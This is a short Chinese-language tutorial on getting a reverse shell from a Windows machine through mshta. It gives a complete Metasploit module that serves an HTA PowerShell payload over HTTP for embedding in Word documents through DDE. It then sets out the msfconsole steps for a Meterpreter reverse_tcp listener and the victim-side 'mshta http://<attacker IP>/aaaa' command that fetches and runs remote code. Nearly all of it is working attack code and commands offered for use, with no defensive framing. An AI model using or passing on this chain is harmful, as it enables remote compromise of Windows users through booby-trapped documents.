mshta 反弹shell

　　kali系统准备：

　　复制以下ruby代码到/usr/share/metasploit-framework/modules/exploits/windows/smb/msh_shell.rb目录（要注意代码缩进哦）：

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule  < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer

  def initialize(info  = {})
    super(update_info(info,
      'Name' => 'Microsoft Office Payload Delivery',
      'Description' => %q{
        This module generates an command to place within
        a word document, that when executed, will retrieve a HTA payload
        via HTTP from an web server. Currently have not figured out how
        to generate a doc.
      },
      'License' => MSF_LICENSE,
      'Arch' => ARCH_X86,
      'Platform' => 'win',
      'Targets' =>
        [
          ['Automatic', {} ],
        ],
      'DefaultTarget' => 0,
    ))
  end

  def on_request_uri(cli, _request)
    print_status("Delivering payload")
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      ARCH_X86,
      'win',
      p.encoded,
      'hta-psh',
      { :arch => ARCH_X86, :platform => 'win '}
    )
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end

  def primer
    url = get_uri
    print_status("Place the following DDE in an MS document:")
    print_line("mshta.exe \"#{url}\"")
  end
end

　　在命令行启动msf的服务：

service postgresql start

　　再启动msf：

sudo msfconsole

　　重新加载所有模块：

reload_all

　　查找我们刚刚新建的msh_shell模块：

search msh_shell

　　加载这个模块：

use exploit/windows/smb/msh_shell

　　使用反弹shellcode， 配置本机地址,  配置uri地址

set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.105
set uripath aaaa
exploit

　　window系统：

　　打开运行命令，执行：

mshta http://kali系统的IP/aaaa

　　kali系统就会收到一个window系统的shell